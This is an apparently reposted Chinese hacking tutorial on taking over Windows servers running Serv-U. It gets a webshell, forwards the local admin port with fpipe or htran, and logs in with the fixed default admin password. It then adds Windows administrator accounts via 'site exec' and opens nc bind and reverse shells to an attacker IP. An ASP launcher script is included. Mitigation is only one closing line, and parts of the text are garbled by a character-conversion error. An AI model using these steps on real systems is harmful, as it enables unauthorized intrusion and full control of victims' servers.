serv-u 服务器的配置

理:
　 serv-u默认监听127.0.0.1:43958,在本机才能链接这个管理端口,serv-u默认管理帐号是LocalAdministrator, 默认密码是"#l@$ak#.lk;0@P"，这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1，而后在你本身的机器，用"serv-u administrator"新建SERVER，
目标IP:12345
User:LocalAdministrator
Pass:"#l@$ak#.lk;0@P"
那么目标机器的serv-u就归你管了。


利用的前提:要有目标机器的普通权限的SHELL，不须要能终端或物理控制台登陆，只要有个shell，能运行端口数据转发的程序就能够了

如何获得一个shell:sql注射获得webshell或者直接利用动网7.0 sp2如下的上传漏洞上传webshell

具体实施方法：
1.利用获得的webshell上传转向程序fpipe,而后执行fpipe -v -l 12345 -r 43958 127.0.0.1

字串4

　 2 .在你本身的机器，用"serv-u administrator"新建SERVER，依次填入
　　 ip:目标IP
　　　 端口 :12345
　　　 User:LocalAdministrator
　　　 Pass:"#l@$ak#.lk;0@P"
　 如今你就能够管理这台 服务器 的serv-u了，新建一个帐号，权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

　 3. ftp链接，而后执行quote site exec net user iisuser password /add
添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add,如今就能够链接终端并登陆了。　

　 固然也能够进行别的操做，例如上传一个nc.exe,在目标机器上获得一个管理员权限的shell,能够正向链接，也能够反向链接。
　
　 正向链接:连上ftp之后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe
　　 这时目标主机就成了一台telnet服务器，你能够telnet上目标服务器的23端口.
　　
　　 反向链接：假设你的IP是202.96.209.168
　　　 1.先在本身的机器上运行(你要有一个外部IP):nc -vv -lp 99
　　　　　 2.在目标机器上运行 nc -e cmd.exe 202.96.209.168　 99 字串3
在你的机器上就会获得一个目标机器的具备管理员权限的shell

　 若是对方进行了端口过滤或者设置了 防火墙 的保护(这种保护不限制反弹链接，若是限制的话就要换别的方法呢)，能够用TCP SOCKET转发来实现


打个比方：
个人机器为 A
我要测试的机器为 B[不容许正面链接]
我已经在B上获得呢一个SHELL[只要guest的就行呢]

咱们能够这样连上对方的43958
I：我在本地监听二个端口23和56
23是等待B来链接的~
56是等待我来链接的~

II：B链接我监听的23，同时转发到本地的43958

这样管道就建好呢~对方的防火墙就拿咱们没有办法呢~

此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P

具体实施方法：
假设你的IP是 202.96.209.168
　 1.在你本身的机器上运行 htran.exe -listen 23 56
　
　 2.此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P
　
3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23
若是不能在webshell下直接运行，能够写一个asp脚原本执行,内容以下 字串7

connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
%>

　 执行 http://目标网址/connect.asp，若是出来一片空白，没提示什么错误，如今你应该能够管理目标服务器的serv-u了

余下的事情就看您自由发挥了。
htran.exe是一个多线程包转发工具，能够到红盟下载 http://www.cnhonker.com/download/releases/Tools/HTran.rar

防止方法：　本身给serv-u打补丁，改变默认端口及管理密码。改密码要修改ServUAdmin.exe,ServUDaemon.exe这两个文件，改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345便可很遗憾，在serv-u的最新版本serv-u 5.2.0.0中依然没有任何改变，默认的管理端口及密码仍是原来的。